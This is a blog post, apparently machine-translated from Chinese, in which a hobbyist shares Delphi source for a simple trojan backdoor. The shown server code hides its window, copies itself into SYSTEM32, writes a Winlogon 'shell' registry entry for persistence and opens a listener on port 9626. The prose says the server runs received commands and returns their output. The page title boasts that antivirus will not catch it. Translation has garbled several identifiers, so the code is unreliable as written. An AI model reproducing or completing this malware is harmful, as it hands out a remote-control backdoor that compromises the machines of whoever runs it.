When I first learned about computers, I liked network security. Looking at the attack tools written by experts, I always wanted to learn programming well and write my own programs. I have been learning DELPHI for nearly a year. I feel like I have never learned anything. I suddenly wanted to learn how to write a trojan tonight, so I tried to write some code in disorder. It was very simple. I hope I could write better !!!
Programs, like traditional Trojans, are divided into servers and clients. After the server is running, it will copy itself to the SYSTEM32 directory, and add an automatic line startup item in the registry. Open Port 9626 of the Local Machine and wait for the client to receive data. When the client data is received, it is executed as a CMD command, and the ECHO is finally transmitted back to the client. The client is very simple. After the connection to the server is successful, enter the command point for execution. Normally, you can receive the execution result from the server.
The source code is as follows:
/// Server. pas //////////////
Unit UtMain;
////////////////////////////////////
/// // BY lanyus ////////////////
//// // Email: greathjw@163.com ////
//// // QQ: 231221 ////////////////
/// Some codes are collected from the Internet ///////////
////////////////////////////////
Interface
Uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;
Type
TFmMain = class (TForm)
SS: TServerSocket;
Memo1: TMemo;
Procedure FormCreate (Sender: TObject );
Procedure SSAccept (Sender: TObject; Socket: TCustomWinSocket );
Procedure SSClientRead (Sender: TObject; Socket: TCustomWinSocket );
Private
{Private declarations}
Public
{Public declarations}
End;
Var
FmMain: TFmMain;
Reg: TRegistry;
Implementation
{$ R *. dfm}
Procedure TFmMain. FormCreate (Sender: TObject );
Var
Sysdir: array [0 .. 50] of char;
Begin
Application. ShowMainForm: = False;
FmMain. Left: =-200; // The Running window is not displayed.
Reg: = TRegistry. Create;
Reg. RootKey: = HKEY_LOCAL_MACHINE;
Reg. OpenKey ('Software \ Microsoft \ Windows NT \ CurrentVersion \ winlogon', true );
If reg. ReadString ('shell') <> 'assumer.exe Lysvr.exe 'then
Reg.writestring('shell', 'assumer.exe Lysvr.exe '); // create a startup Item
Reg. Free;
GetSystemDirectory (sysdir, 50 );
If not FileExists (sysdir + '\ Lysvr.exe') then
Copyfile(Pchar(Application.exe Name), pchar (sysdir + '\ Lysvr.exe'), true );
Ss.port: = 9626;
Try
SS. Active: = True;
Except
End;
End;
Procedure TFmMain. SSAccept (Sender: TObject; Socket: TCustomWinSocket );
Begin
Socket. SendText ('Connection successfully'); // return 'Connection successfully' when a connection is found'
End;
| [Content navigation] |
| Page 1: compile a simple trojan that you will not be killed |
Page 1: compile a simple trojan that you will not be killed |